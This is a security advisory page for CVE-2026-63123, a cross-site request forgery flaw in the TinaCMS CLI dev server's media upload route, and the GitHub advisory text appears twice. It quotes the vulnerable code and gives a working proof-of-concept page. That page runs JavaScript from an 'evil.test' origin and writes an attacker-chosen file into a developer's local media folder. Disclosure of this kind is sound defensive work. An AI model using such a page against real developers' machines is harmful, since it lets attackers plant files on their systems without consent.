CVE-2026-63123
Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root
Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root
Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.
- Record
CVE-2026-63123- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
EUVDEUVD-2026-62971
6.5
Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.
- Record
EUVD-2026-62971- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rgr9-r7mj-mf6x
6.5
Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root
Summary
A browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running tinacms dev. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.
Details
The issue is in the dev server path of @tinacms/cli.
The Vite dev server installs CORS middleware:
// packages/@tinacms/cli/src/next/vite/plugins.ts
server.middlewares.use(
cors({
origin: corsOriginCheck,
methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'],
})
);
For disallowed origins, the origin callback only returns false to the CORS library:
// packages/@tinacms/cli/src/next/vite/cors.ts
return (origin, callback) => {
...
callback(null, false);
};
That does not reject the request server-side. The same request is still routed into the upload handler:
// packages/@tinacms/cli/src/next/vite/plugins.ts
if (req.url.startsWith('/media/upload')) {
await mediaRouter.handlePost(req, res);
return;
}
The upload handler then accepts attacker-controlled path and body data and writes the file:
// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
bb.on('file', async (_name, file, _info) => {
const fullPath = decodeURIComponent(
req.url?.slice('/media/upload/'.length)
);
const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);
await fs.ensureDir(path.dirname(saveTo));
file.pipe(fs.createWriteStream(saveTo));
});
This is exploitable because multipart/form-data is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.
I validated this locally with a browser-backed repro:
- the request origin was a disallowed non-localhost origin,
- the browser treated the fetch as blocked,
- the local Tina media file was still written with attacker-controlled contents.
The demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.
PoC
Minimal reproduction:
- Start a Tina dev server so the media upload route is reachable at:
http://127.0.0.1:<TINA_PORT>/media/upload/<filename>
- From a different, non-allowed origin such as
http://evil.test:8000, serve this page:
<!doctype html>
<script>
(async () => {
const form = new FormData();
form.append(
'file',
new Blob(['poc-from-cross-origin'], { type: 'text/plain' }),
'poc.txt'
);
try {
await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', {
method: 'POST',
body: form,
});
console.log('fetch resolved');
} catch {
console.log('fetch blocked by CORS');
}
})();
</script>
-
Open that page in a browser while the Tina dev server is running.
-
Observe:
- the browser reports the cross-origin request as blocked or inaccessible,
- but
poc.txtis still created in the configured media directory, commonly:
public/uploads/poc.txt
- Verify the file contents are:
poc-from-cross-origin
This reproduces the vulnerability without any victim-side manual upload action.
Impact
This is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.
- Record
GHSA-rgr9-r7mj-mf6x- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
NVD
6.5
Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.
- Record
CVE-2026-63123- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
OSV
6.5
Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root
Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.
- Record
CVE-2026-63123- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
OSVGHSA-rgr9-r7mj-mf6x
6.5
Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root
Summary
A browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running tinacms dev. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.
Details
The issue is in the dev server path of @tinacms/cli.
The Vite dev server installs CORS middleware:
// packages/@tinacms/cli/src/next/vite/plugins.ts
server.middlewares.use(
cors({
origin: corsOriginCheck,
methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'],
})
);
For disallowed origins, the origin callback only returns false to the CORS library:
// packages/@tinacms/cli/src/next/vite/cors.ts
return (origin, callback) => {
...
callback(null, false);
};
That does not reject the request server-side. The same request is still routed into the upload handler:
// packages/@tinacms/cli/src/next/vite/plugins.ts
if (req.url.startsWith('/media/upload')) {
await mediaRouter.handlePost(req, res);
return;
}
The upload handler then accepts attacker-controlled path and body data and writes the file:
// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
bb.on('file', async (_name, file, _info) => {
const fullPath = decodeURIComponent(
req.url?.slice('/media/upload/'.length)
);
const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);
await fs.ensureDir(path.dirname(saveTo));
file.pipe(fs.createWriteStream(saveTo));
});
This is exploitable because multipart/form-data is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.
I validated this locally with a browser-backed repro:
- the request origin was a disallowed non-localhost origin,
- the browser treated the fetch as blocked,
- the local Tina media file was still written with attacker-controlled contents.
The demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.
PoC
Minimal reproduction:
- Start a Tina dev server so the media upload route is reachable at:
http://127.0.0.1:<TINA_PORT>/media/upload/<filename>
- From a different, non-allowed origin such as
http://evil.test:8000, serve this page:
<!doctype html>
<script>
(async () => {
const form = new FormData();
form.append(
'file',
new Blob(['poc-from-cross-origin'], { type: 'text/plain' }),
'poc.txt'
);
try {
await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', {
method: 'POST',
body: form,
});
console.log('fetch resolved');
} catch {
console.log('fetch blocked by CORS');
}
})();
</script>
-
Open that page in a browser while the Tina dev server is running.
-
Observe:
- the browser reports the cross-origin request as blocked or inaccessible,
- but
poc.txtis still created in the configured media directory, commonly:
public/uploads/poc.txt
- Verify the file contents are:
poc-from-cross-origin
This reproduces the vulnerability without any victim-side manual upload action.
Impact
This is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.
- Record
GHSA-rgr9-r7mj-mf6x- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@tinacms/clinpm |
before 2.5.2 | 2.5.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-63123 is a medium vulnerability (CVSS 6.5) in Tinacms, published August 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.26%, the 18th percentile. Fixed in @tinacms/cli 2.5.2.
References
github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x
github.com/tinacms/tinacms/pull/7111
github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260
github.com/tinacms/tinacms/releases/tag/@tinacms/[email protected]
nvd.nist.gov/vuln/detail/CVE-2026-63123
github.com/advisories/GHSA-rgr9-r7mj-mf6x
github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63123.json
github.com/tinacms/tinacms